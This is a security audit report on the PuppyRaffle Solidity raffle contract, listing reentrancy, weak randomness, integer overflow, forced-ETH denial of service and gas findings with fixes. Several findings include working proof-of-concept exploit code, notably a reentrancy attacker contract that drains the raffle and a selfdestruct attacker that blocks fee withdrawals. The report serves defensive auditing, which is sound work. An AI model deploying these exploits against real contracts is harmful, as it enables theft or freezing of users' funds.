

**Wisecrypt**



# **Puppy Raffle Audit Report**

Version 0.1

*Wisecrypt.io*

January 13, 2024

# Puppy Raffle Initial Audit Report

Wisecrypt

January 12, 2024

Prepared by: Wisecrypt Lead Security Researcher: - aciDrums7

## Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    - \* [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance
    - \* [H-2] Weak randomness in `PuppyRaffle::selectWinner` function allows users to influence or predict the winner and influence or predict the winning puppy
    - \* [H-3] Integer overflow in `PuppyRaffle::selectWinner` function when calculating the `totalFees` value, causing a loss of fees

- \* [H-4] Unsafe typecasting from `uint256` to `uint64` in `PuppyRaffle::selectWinner` function when calculating the `totalFees` value, causing a loss of fees
- \* [H-5] Mishandling ETH in `PuppyRaffle::withdrawFees` function allows users to block the fees withdrawal
- Medium
  - \* [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS) attack, incrementing gas cost for future entrants
  - \* [M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
- Low
  - \* [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
- Informational
  - \* [I-1]: Solidity pragma should be specific, not wide
  - \* [I-2]: Using an outdated version of Solidity is not recommended.
  - \* [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  - \* [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
  - \* [I-5] Use of “magic” numbers is discouraged
  - \* [I-6] Missing `WinnerSelected/FeesWithdrawn` event emission in `PuppyRaffle::selectWinner/PuppyRaffle::withdrawFees` methods
  - \* Summary
  - \* Recommendations
  - \* [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed
- Gas
  - \* [G-1] Unchanged state variables should be declared constant or immutable.
  - \* [G-2] Storage variable in a loop should be cached

## Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

Call the `enterRaffle` function with the following parameters: `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

Duplicate addresses are not allowed Users are allowed to get a refund of their ticket & value if they call the refund function Every X seconds, the raffle will be able to draw a winner and be minted a random puppy The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

## Disclaimer

The Wisecrypt team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

**The findings descibed in this document correspond to the following commit hash:**

```
1 0804be9b0fd17db9e2953e27e9de46585be870cf
```

## Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

## Roles

- **Owner** - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- **Player** - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

## Executive Summary

### Issues found

Severity	Number of issues found
High	5
Medium	2
Low	1
Info	7
Total	15

## Findings

### High

#### [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

**Description:** The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call we do update the `PuppyRaffle::players` array.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the
   player can refund");
4     require(playerAddress != address(0), "PuppyRaffle: Player
   already refunded, or is not active");
```

```
5
6 @> payable(msg.sender).sendValue(entranceFee);
7 @> players[playerIndex] = address(0);
8
9     emit RaffleRefunded(playerAddress);
10 }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue this cycle till the contract balance is drained.

**Impact:** All fees paid by raffle entrants could be stolen by the malicious participant.

**Proof of Concept:**

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

**Proof of Code:**

Code

```
1 function test_RefundReentrancy() public {
2     address[] memory players = new address[] (4);
3     players[0] = playerOne;
4     players[1] = playerTwo;
5     players[2] = playerThree;
6     players[3] = playerFour;
7     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9     ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10         puppyRaffle);
11     address attackUser = makeAddr("attackUser");
12     vm.deal(attackUser, 1 ether);
13     uint256 startingAttackerContractBalance = address(
14         attackerContract).balance;
15     uint256 startingContractBalance = address(puppyRaffle).balance;
16
17     // attack
18     vm.prank(attackUser);
19     attackerContract.attack{value: entranceFee}();
20
21     uint256 endingAttackerContractBalance = address(
22         attackerContract).balance;
23     uint256 endingContractBalance = address(puppyRaffle).balance;
```

```
22     console.log("starting attacker contract balance:",
23                 startingAttackerContractBalance);
24     console.log("starting contract balance:",
25                 startingContractBalance, "\n");
26     console.log("ending attacker contract balance:",
27                 endingAttackerContractBalance);
28     console.log("ending contract balance:",
29                 endingContractBalance);
30     assertEq(endingContractBalance, 0);
31     assertEq(endingAttackerContractBalance,
32               startingAttackerContractBalance + startingContractBalance +
33               entranceFee);
34 }
```

And this contract as well:

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
17             ;
18         puppyRaffle.refund(attackerIndex);
19     }
20
21     function _stealMoney() internal {
22         if (address(puppyRaffle).balance > 0) {
23             puppyRaffle.refund(attackerIndex);
24         }
25     }
26
27     fallback() external payable {
28         _stealMoney();
29     }
30
31     receive() external payable {
32         _stealMoney();
33     }
34 }
```

```
33 }
```

**Recommended Mitigation:** To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the
   player can refund");
4     require(playerAddress != address(0), "PuppyRaffle: Player
   already refunded, or is not active");
5
6 +     players[playerIndex] = address(0);
7 +     emit RaffleRefunded(playerAddress);
8     payable(msg.sender).sendValue(entranceFee);
9 -     players[playerIndex] = address(0);
10 -    emit RaffleRefunded(playerAddress);
11 }
```

## [H-2] Weak randomness in `PuppyRaffle::selectWinner` function allows users to influence or predict the winner and influence or predict the winning puppy

**Description:** Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

*Note:* This additionally means users could front-run this function and call `refund` if they see they are not the winner.

**Impact:** Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

### Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as randomness seed is a well-documented attack vector



**Recommended Mitigation:** Consider using a cryptographically provable random number generator such as Chainlink VRF.

### [H-3] Integer overflow in `PuppyRaffle::selectWinner` function when calculating the `totalFees` value, causing a loss of fees

**Description:** In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max
2 // 18446744073709551615
3 myVar = myVar + 1
4 // myVar will be 0
```

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees` function. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:** 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude it 3. `totalFees` will be:

```
1 // This value is taken from `PuppyRaffleTest`
2 uint256 entranceFee = 1e18;
3
4 totalFees = totalFees + uint64(fee);
5 // aka
6 totalFees = 0.8e18 + 17.8e18;
7 // and this will overflow!
8 Expected fees: 18.6e18
9 Actual fees: 1.53255926290448384e17
```

#### Code

```
1 modifier playersEntered() {
2     address[] memory players = new address[](4);
3     players[0] = playerOne;
4     players[1] = playerTwo;
5     players[2] = playerThree;
6     players[3] = playerFour;
7     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8     _;
9 }
10
11 function test_SelectWinnerOverflow() public playersEntered {
12     // calling the first time selectWinner
13     vm.warp(block.timestamp + puppyRaffle.affleStartTime() +
        puppyRaffle.affleDuration());
```

```
14     vm.roll(block.number + 1);
15     vm.prank(playerOne);
16     puppyRaffle.selectWinner();
17
18     // players needed for the uint64 overflow
19     uint256 numPlayersToOverflow = 89;
20     address[] memory players = new address[](numPlayersToOverflow);
21     for (uint256 i = 0; i < players.length; i++) {
22         players[i] = address(i + 1);
23     }
24
25     uint256 expectedFees = (players.length * entranceFee * 20) / 100;
26
27     // entering Raffle
28     hoax(playerOne, players.length * entranceFee);
29     puppyRaffle.enterRaffle{value: players.length * entranceFee}(
        players);
30
31     // calling selectWinner to update totalFees
32     vm.warp(block.timestamp + puppyRaffle.raffleStartTime() +
        puppyRaffle.raffleDuration());
33     vm.roll(block.number + 1);
34     puppyRaffle.selectWinner();
35
36     console.log("Expected fees", expectedFees);
37     console.log("Actual fees:", puppyRaffle.totalFees());
38
39     // if true -> totalFees overflowed
40     assert(puppyRaffle.totalFees() < expectedFees);
41
42     // We are also unable to withdraw fees because of the require check
43     vm.prank(puppyRaffle.feeAddress());
44     vm.expectRevert("PuppyRaffle: There are currently players active!")
        ;
45     puppyRaffle.withdrawFees();
46 }
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

**Recommended Mitigation:** There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`

2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Additionally, remove the balance check from `PuppyRaffle::withdrawFees`:

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

4. Or, instead of removing it, change the balance check from `PuppyRaffle::withdrawFees` to be greater then or equal instead of strictly equal:

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
2 + require(address(this).balance >= uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

#### [H-4] Unsafe typecasting from `uint256` to `uint64` in `PuppyRaffle::selectWinner` function when calculating the `totalFees` value, causing a loss of fees

**Description:** if the value casted from `uint256` to `uint64` exceeds the maximum value of a `uint64`, the casting will result in a loss of precision, causing a wrong result for the `totalFees` value.

```
1 uint256 myVar = type(uint64).max + 1
2 // 18446744073709551616
3 uint64 myVarCasted = uint64(myVar)
4 // myVarCasted will be 0
```

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees` function. However, since `totalFees = totalFees + uint64(fee)`, if casting `fee` to a `uint64` causes a loss of precision, the final value of `totalFees` will be wrong and the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract because of the `require` condition at the beginning of `PuppyRaffle::withdrawFees`.

#### Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 93 players enter a new raffle, and conclude it
3. `totalFees` will be:

```
1 // This value is taken from `PuppyRaffleTest`
2 uint256 entranceFee = 1e18;
```

```
3
4 uint256 fee = (93e18 * 20) / 100;
5 // aka
6 uint256 fee = 18.6e18;
7 // typecasting this number will result in a loss of precision
8 totalFees = totalFees + uint64(fee);
9 // aka
10 totalFees = 0.8e18 + 1.53255926290448384e17;
11
12 Expected fees: 19.4e18
13 Actual fees: 9.53255926290448384e17
```

## Code

```
1 modifier playersEntered() {
2     address[] memory players = new address[](4);
3     players[0] = playerOne;
4     players[1] = playerTwo;
5     players[2] = playerThree;
6     players[3] = playerFour;
7     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8     _;
9 }
10
11 function test_SelectWinnerOverflow() public playersEntered {
12     // calling the first time selectWinner
13     vm.warp(block.timestamp + puppyRaffle.affleStartTime() +
14         puppyRaffle.affleDuration());
15     vm.roll(block.number + 1);
16     vm.prank(playerOne);
17     puppyRaffle.selectWinner();
18     // players needed for the uint64 overflow
19     uint256 numPlayersToOverflow = 93;
20     address[] memory players = new address[](numPlayersToOverflow);
21     for (uint256 i = 0; i < players.length; i++) {
22         players[i] = address(i + 1);
23     }
24
25     uint256 expectedFees = (players.length * entranceFee * 20) / 100;
26
27     // entering Raffle
28     hoax(playerOne, players.length * entranceFee);
29     puppyRaffle.enterRaffle{value: players.length * entranceFee}(
30         players);
31
32     // calling selectWinner to update totalFees
33     vm.warp(block.timestamp + puppyRaffle.affleStartTime() +
34         puppyRaffle.affleDuration());
35     vm.roll(block.number + 1);
36     puppyRaffle.selectWinner();
```

```
35
36     console.log("Expected fees", expectedFees);
37     console.log("Actual fees:", puppyRaffle.totalFees());
38
39     // if true -> totalFees overflowed
40     assert(puppyRaffle.totalFees() < expectedFees);
41
42     // We are also unable to withdraw fees because of the require check
43     vm.prank(puppyRaffle.feeAddress());
44     vm.expectRevert("PuppyRaffle: There are currently players active!")
45     ;
46     puppyRaffle.withdrawFees();
47 }
```

1. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

**Recommended Mitigation:** There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`, so it will be not more needed to typecast the `fee` variable to `uint64`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Additionally, remove the balance check from `PuppyRaffle::withdrawFees`:

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

4. Or, instead of removing it, change the balance check from `PuppyRaffle::withdrawFees` to be greater then or equal instead of strictly equal:

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
2 + require(address(this).balance >= uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

#### [H-5] Mishandling ETH in `PuppyRaffle::withdrawFees` function allows users to block the fees withdrawal

**Description:** Apparently the only way to deposit ETH in the `PuppyRaffle` contract is via the `enterRaffle` function. If that were the case, this strict equality:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:  
   There are currently players active!");
```

would always hold. But anyone can deposit ETH via `selfdestruct`, or by setting this contract as the target of a beacon chain withdrawal (see last paragraph of this link section), regardless of the contract not having a `receive` function.

**Impact:** The `PuppyRaffle::withdrawFees` function would revert forever, not allowing to withdraw the fees and send them to the `feeAddress`

**Proof of Concept:** 1. Some users enter the raffle 2. A user calls the `PuppyRaffle::selectWinner` function to end the raffle 3. A malicious user, using `selfdestruct`, force sends ETH to the `PuppyRaffle` contract increasing its balance 4. This will make `PuppyRaffle::withdrawFees` function revert and, since it would be really difficult to re-align the value of `totalFees` with the new contract balance, lead to a DoS (Denial of Service), making impossible to withdraw the fees.

Code

```
1 contract SelfDestructAttacker {  
2     address immutable i_target;  
3  
4     constructor(address target) {  
5         i_target = target;  
6     }  
7  
8     function attack() external {  
9         selfdestruct(payable(i_target));  
10    }  
11 }  
12  
13 function test_WithdrawFeesSelfdestruct() public playersEntered {  
14     // calling the first time selectWinner  
15     vm.warp(block.timestamp + puppyRaffle.raffleStartTime() +  
16         puppyRaffle.raffleDuration());  
17     vm.roll(block.number + 1);  
18     vm.prank(playerOne);  
19     puppyRaffle.selectWinner();  
20  
21     // Deploying the attacker contract, and funding it with some  
22     ETH  
23     SelfDestructAttacker attacker = new SelfDestructAttacker(  
24         address(puppyRaffle));  
25     vm.deal(address(attacker), 0.1 ether);  
26     console.log("Initial Puppy Raffle balance:", address(  
27         puppyRaffle).balance);  
28  
29     // calling attack function  
30     attacker.attack();
```

```
27
28     console.log("Ending Puppy Raffle balance:", address(puppyRaffle
29     ).balance);
30     console.log("Puppy Raffle totalFees:", puppyRaffle.totalFees())
31     ;
32     // We expect withdrawFees to revert due to the failed check
33     vm.expectRevert("PuppyRaffle: There are currently players
34     active!");
35     vm.prank(playerOne);
36     puppyRaffle.withdrawFees();
37 }
```

**Recommended Mitigation:** To fix this issue, the code could be changed to this:

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
2   There are currently players active!");
3 + require(address(this).balance >= uint256(totalFees), "PuppyRaffle:
4   There are currently players active!");
```

In this way, the `PuppyRaffle::withdrawFees` function can be called when the ETH balance is at least equal to `totalFees`, making the `selfdestruct` hack harmless.

## Medium

### [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS) attack, incrementing gas cost for future entrants

**Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1 @>     for (uint256 i = 0; i < players.length - 1; i++) {
2         for (uint256 j = i + 1; j < players.length; j++) {
3             require(players[i] != players[j], "PuppyRaffle:
4             Duplicate player");
5         }
6     }
```

**Impact:** The costs for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

**Proof of Concept:** (Proof of Code)

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6.250.668 gas - 2st 100 players: ~18.068.760 gas

This is more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function test_EnterRaffleDenialOfService() public {
2     vm.txGasPrice(1);
3     // Let's enter the first 100 players
4     uint256 numPlayers = 100;
5     address[] memory playersFirst = new address[](numPlayers);
6     for (uint256 i; i < numPlayers; ++i) {
7         playersFirst[i] = address(i);
8     }
9     uint256 gasStartFirst = gasleft();
10    puppyRaffle.enterRaffle{value: puppyRaffle.entranceFee() *
        numPlayers}(playersFirst);
11    uint256 gasEndFirst = gasleft();
12
13    uint256 gasUsedFirst = (gasStartFirst - gasEndFirst) * tx.
        gasprice;
14    console.log("Gas cost of the first 100 players: ", gasUsedFirst
        );
15
16    // now for the 2nd 100 players
17    address[] memory playersSecond = new address[](numPlayers);
18    for (uint256 i; i < numPlayers; ++i) {
19        playersSecond[i] = address(i + numPlayers); // 0, 1, 2 ->
        100, 101, 102
20    }
21    uint256 gasStartSecond = gasleft();
22    puppyRaffle.enterRaffle{value: puppyRaffle.entranceFee() *
        numPlayers}(playersSecond);
23    uint256 gasEndSecond = gasleft();
24
25    uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
        gasprice;
26    console.log("Gas cost of the second 100 players: ",
        gasUsedSecond);
27
28    assert(gasUsedFirst < gasUsedSecond);
29 }
```



**Recommended Mitigation:** There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1 + uint256 public raffleID = 1;
2 + mapping(address => uint256) public playerToRaffleID;
3 .
4 .
5 .
6     function enterRaffle(address[] memory newPlayers) public payable {
7         require(msg.value == entranceFee * newPlayers.length, "
8             PuppyRaffle: Must send enough to enter raffle");
9         // check for duplicates only from the new players and before
10        adding them to the raffle
11        for(uint256 i; i < newPlayers.length; i++) {
12            require(playerToRaffleID[newPlayers[i]] != raffleID, "
13            PuppyRaffle: Duplicate player");
14        }
15        for (uint256 i = 0; i < newPlayers.length; i++) {
16            players.push(newPlayers[i]);
17            playerToRaffleID[newPlayers[i]] = raffleID;
18        }
19        for (uint256 i = 0; i < players.length - 1; i++) {
20            for (uint256 j = i + 1; j < players.length; j++) {
21                require(players[i] != players[j], "PuppyRaffle:
22                Duplicate player");
23            }
24        }
25        emit RaffleEnter(newPlayers);
26    }
27 .
28 .
29 .
30     function selectWinner() external {
31         // existing code
32         raffleID++;
33     }
```

3. Alternatively, you could use Openzeppelin's [EnumerableSet](#) library.

**[M-2] Smart contract wallets raffle winners without a receive or a fallback function will block the start of a new contest**

**Description:** The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

**Impact:** The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

**Proof of Concept:**

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

**Recommended Mitigation:** There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the onus on the winner to claim their prize (recommended)

Pull over Push

**Low****[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle**

**Description:** If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1     function getActivePlayerIndex(address player) external view returns
      (uint256) {
2         for (uint256 i = 0; i < players.length; i++) {
3             if (players[i] == player) {
4                 return i;
            }
```

```
5         }  
6     }  
7     return 0;  
8 }
```

**Impact:** A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

**Proof of Concept:**

1. User enters the raffle, they're the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

**Recommended Mitigation:** The easiest recommendation would be to reverse if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

## Informational

### [I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in `src/PuppyRaffle.sol` Line: 2

```
1 pragma solidity ^0.7.6;
```

### [I-2]: Using an outdated version of Solidity is not recommended.

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statements.

**Recommendation** Deploy with any of the following Solidity versions:

0.8.18 The recommendations take into account: Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see `slither` documentation for more information.

**[I-3]: Missing checks for address (0) when assigning values to address state variables**

Assigning values to address state variables without checking for `address(0)`.

- Found in `src/PuppyRaffle.sol` Line: 69

```
1 feeAddress = _feeAddress;
```

- Found in `src/PuppyRaffle.sol` Line: 193

```
1 previousWinner = winner; //e vanity, doesn't matter much
```

- Found in `src/PuppyRaffle.sol` Line: 217

```
'solidity feeAddress = newFeeAddress;
```

**[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice**

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 - (bool success,) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
3   _safeMint(winner, tokenId);
4 + (bool success,) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
```

**[I-5] Use of “magic” numbers is discouraged**

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
3 uint256 public constant POOL_PRECISION = 100;
```

## [I-6] Missing WinnerSelected/FeesWithdrawn event emission in PuppyRaffle::selectWinner/PuppyRaffle::withdrawFees methods

### Summary

Events for critical state changes (e.g. owner and other critical parameters like a winner selection or the fees withdrawn) should be emitted for tracking this off-chain

### Recommendations

Add a WinnerSelected event that takes as parameter the currentWinner and the minted token id and emit this event in `PuppyRaffle::selectWinner` right after the call to `_safeMint_`

Add a FeesWithdrawn event that takes as parameter the amount withdrawn and emit this event in `PuppyRaffle::withdrawFees` right at the end of the method

## [I-7] PuppyRaffle::\_isActivePlayer is never used and should be removed

### Gas

### [G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

### [G-2] Storage variable in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 +     uint256 playerLength = players.length;
2 -     for (uint256 i = 0; i < players.length - 1; i++) {
3 +     for (uint256 i = 0; i < playerLength - 1; i++) {
4 -         for (uint256 j = i + 1; j < players.length; j++) {
5 +         for (uint256 j = i + 1; j < playerLength; j++) {
6             require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
7         }
8     }
```